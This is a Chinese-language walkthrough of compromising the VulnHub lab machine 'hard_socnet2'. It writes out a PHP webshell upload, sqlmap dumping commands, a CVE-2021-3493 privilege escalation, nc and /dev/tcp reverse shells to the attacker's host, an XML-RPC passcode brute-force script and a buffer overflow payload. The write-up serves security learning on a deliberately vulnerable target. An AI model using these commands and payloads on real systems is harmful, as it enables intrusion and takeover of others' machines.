# 前言

前面一直是中级和低级难度,这次挑战一个难度更高的,靶机下载地址 https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova

# 描述

难度:困难

涉及攻击方法:

  • 主机发现

  • 端口扫描

  • SQL 注入

  • 文件上传

  • 蚁剑上线

  • CVE-2021-3493

  • XMLRPC

  • 逆向工程

  • 动态调试

  • 缓冲区溢出

  • 漏洞利用代码编写

攻击目标:获得 root 权限

# 攻击流程

# 信息收集

image-20230716103556494

这里看到目标靶机的 ip 是 192.168.13.33,接着扫描一下端口

image-20230716103503331

这扫到端口,接着对端口进行一个服务的发现

image-20230716104012080

这里的 22 端口是一个 7.6 版本的 OpenSSH 服务,80 端口是一个 2.4.29 版本的 apache 的 httpd 服务,8000 端口是一个 python2.7 的 httpd 服务,这里还是通过浏览器去访问一下 80 和 8000 端口

image-20230716110008475

image-20230716110024217

这里 8000 端口显示 GET 方法不支持,所以这里就去抓包改一下请求方式尝试一下

image-20230716110433767

这里暂时先放在这,先看 80 端口的服务,是一个登录页面也有一个注册功能这里先注册一个账号

image-20230716112245276

这里注册成功后就登录到后台页面了

image-20230716112337163

这里看到有一个 admin 账号和 testuser 账号,这里可以看到有一个表单,这里提交尝试一下

image-20230716112807721

发现这里会将提交的表单都放到下面的 News Feed 中,admin 发布的一条消息

Hello friends! I've been working on a new script for monitoring servers. It's called monitor.py. I'm running on this server I'll post soon!

可以看到这里有一个监控服务器的脚本,名字是 monitor.py,暂时不知道这个脚本在哪,暂时没有利用的思路

这里去看一下个人主页,看看有没有什么有用的信息

image-20230716114416886

这里可以看到,他有一个上传一个头像的功能,于是我们这里测试一下有没有可能通过文件上传 getshell

# 文件上传

这里上传一个 1.php 尝试一下

image-20230716114731010

这里尝试去访问一下

image-20230716114826145

这里看到,文件上传是成功的,对于我上传的文件内容这里可以看一下,就是很简单的一句话木马

image-20230716114946651

这里为了方便命令执行的回显,所以这里将 phpinfo 删除掉,再次上传

image-20230716120056417

这里已经拿到了一个 www-data 的权限

# sql 注入

image-20230716120257063

在搜索的地方发现,当我输入单引号的时候这里产生了报错,并且将报错信息打印了出来,这里是有一个 sql 注入的点,于是我这里使用 sqlmap 来脱库,这里将 http 请求保存到一个文本中

image-20230716120711520

这里使用

sqlmap -r 1.txt -p query --dbs

image-20230716120923740

拿到所有的数据库的名字,接着看表名

sqlmap -r 1.txt -p query -D socialnetwork --tables

image-20230716121037112

这里看到有一个 users 表,这里去看这个表有哪些字段

sqlmap -r 1.txt -p query -D socialnetwork -T users --columns

image-20230716121257265

我们登录是需要邮箱和密码,所以这里我们查看对应的两个字段信息

sqlmap -r 1.txt -p query -D socialnetwork -T users -C user_email,user_password --dump

image-20230716121603790

这里使用了 sqlmap 的功能将密码碰撞了出来,这里就可以直接用这两个账号去登录了,这里先去登录这个 admin 账号,但是这里并没有版本进一步利用

# 提权

还是回到刚刚拿到 sell 的地方,这里为了方便使用用蚁剑连接上

image-20230716143558283

这里因为权限还是 www-data,所以这里需要提权,这里看一下内核版本

image-20230716143734442

这里可以看见版本是 4.15,这里看一下具体的版本

image-20230716143850793

去网上查询了一下相关的漏洞发现 CVE-2021-3493 可以利用,这里贴一个 expbriskets/CVE-2021-3493: Ubuntu OverlayFS Local Privesc (github.com)

image-20230716144406222

这里将 exp 放到靶机上,然后去编译运行

image-20230716144531715

可以看到,这里是能够成功的,但是最后退出了,很显然是蚁剑的 shell 功能不全,这里去反弹一个 shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.13.249 2333 >/tmp/f

image-20230716144941811

这里就成功拿到了一个 shell,这里尝试去运行 exp

image-20230716145022288

这里可以看到,这样就成功了

image-20230716145044165

这里就算是结束了,但是为什么说他的难度是困难呢,因为这台靶机制作时间是 20 年,没有这个 cve 可以直接利用,所以这里再从另一个角度去突破这台靶机

这里回到普通用户的权限,为了增强终端可用性,这里再使用 python 来获取一个新的 shell

image-20230716145948951

# 梅开二度

# 信息收集

这里去看一下哪些用户是可以执行 shell 的

image-20230716150309081

这里可以看到除了 root 外还有一个 socnet 用户是能执行 shell 的,这里也直接去看他的家目录

image-20230716150452522

这里看见 monitor.py,刚刚再 web 页面提到这是一个管理员运行监视脚本

image-20230716150659010

这里可以看见这里确实有一个正在运行的 monitor 程序

# 漏洞利用

这里也贴一下他的源码,我加了一点注释

import SimpleXMLRPCServer
import subprocess
import random
debugging_pass = random.randint(1000, 9999) # 生成一个随机数字
def runcmd(cmd):
    results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    output = results.stdout.read() + results.stderr.read()
    return output
def cpu():
    return runcmd("cat /proc/cpuinfo")  # 执行查看 CPU 信息的命令
def mem():
    return runcmd("free -m")  # 执行查看内存信息的命令
def disk():
    return runcmd("df -h")  # 执行查看磁盘信息的命令
def net():
    return runcmd("ip a")  # 执行查看网络信息的命令
def secure_cmd(cmd, passcode):
    if passcode == debugging_pass:
        return runcmd(cmd)  # 如果传入的 passcode 与预设的 debugging_pass 相匹配,则执行指定的命令并返回结果
    else:
        return "Wrong passcode."  # 如果 passcode 不匹配,则返回错误消息
server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
server.register_function(cpu)  # 注册 cpu () 函数
server.register_function(mem)  # 注册 mem () 函数
server.register_function(disk)  # 注册 disk () 函数
server.register_function(net)  # 注册 net () 函数
server.register_function(secure_cmd)  # 注册 secure_cmd () 函数
server.serve_forever()

这里根据导入的包可以看到使用了 XMLRPC 模块,这段代码的大致作用就是,创建了一个简单的 XML-RPC 服务器,服务监听再 0.0.0.0 的 8000 端口上(就是前面探测到的端口),再 runcmd 中创建了一个新的进程,执行 cmd 命令,最后通过 outPut 输出到页面,在 secure_cmd 函数中如果传入的 passcode 等于上面生成的随机数,就会调用 runcmd 函数,去执行命令,这里需要拿到这个随机数,这里写脚本去爆破一下这个数字

import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.13.33:8000/") as peoxy:
    for i in range(1000,10000):
        p = str(peoxy.secure_cmd('ls',i))
        print(p+str(i))
        if "Wrong" in p:
            pass
        else:
            print(i)
            break

image-20230716154626492

这里爆出这个随机数为 5727,这里改一下脚本执行 whoami

import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.13.33:8000/") as peoxy:
    p = str(peoxy.secure_cmd('whoami',5727))
    print(p)

image-20230716154815507

可以看到,这里拿到的是 socnet 的 shell,这里反弹一个 shell 出来

# 反弹 shell

这里再改一下脚本

import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.13.33:8000/") as peoxy:
    p = str(peoxy.secure_cmd('bash -c "bash -i >& /dev/tcp/192.168.13.249/2444 0>&1"',5727))
    print(p)

image-20230716155307918

这里就成功拿到 socnet 一个 shell,这里还是看这个目录

image-20230716160607804

这里还不是 root 用户,这里可以看到 add_record 文件是所属 root 的,这里可以尝试利用这个文件来提权,这里先查看一下这个文件

image-20230716160911104

# 溢出

这里可以看到这个文件是一个 32 为的 elf 文件,统计目录下有一个 peda 的动态调试环境,这里可以使用 gdb 来调试这个程序

image-20230716165631205

这里输入 2000 个 A,程序直接退出了,看来是没有溢出,这要都测试了一下,最后是在工作失误的备注中发现出现了溢出问题

image-20230716170232543

这里可以看到,已经成功看到溢出问题

image-20230716170622658

这里重点关注一下 EIP(存放下一条指令的地址)这里 EIP 也被覆盖了,这里先测试一下溢出的临界区是多少

这里用 gdb 生成 500 个字符

pattern create 500
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A

用这 500 字符去溢出,然后就可以找到是哪些字符导致溢出

image-20230716171850177

使用 gdb 来查找溢出位置

image-20230716172704017

这里可以看到是 AAHA,是从第 62 为开始后 4 为溢出到 EIP,这里测试一下先向 EIP 写入 1234

image-20230716172827755

这里可以通过 disas main 看一下 main 函数的汇编

image-20230716173347518

这里可以看到地址 0x08048729 位置使用了 call 函数调用了一个 open 的内置函数,很显然应该是打开文件的一个操作,这里下一个断点验证一下我们的猜测

image-20230716173655871

直接使用 r 命令

image-20230716173843076

可以看到这里接下来就要去执行这个 call,这里使用 s,单步执行

image-20230716174407845

这里可以看见,这里在打开这个 employee_records.txt 文件,这里看到后面调用了一个 vuln

image-20230716175051436

利用点就在这里,这里使用 info func 来查看程序中的函数信息

image-20230716175329711

这里看到两个函数,backdoor,vuln

image-20230716175451674

这里调用了 strcpy 函数,这里的历史版本是存在缓冲区溢出的

image-20230716175555968

backdoor 调用了 system 可以进行命令执行,并且在这之前调用了 setuid,这里用这个起始地址放到 EIP 中

大致的逻辑就是,main 函数中的 vuln 会调用 strcpy,存在缓冲区溢出到 backdoor,最后执行 system 函数,这里根据思路生成一个 payload

python -c "import struct;print(str('a\n1\n1\n1\n')+str('A'*62)+str(struct.pack('I',0x08048676)))" > p

image-20230716182038560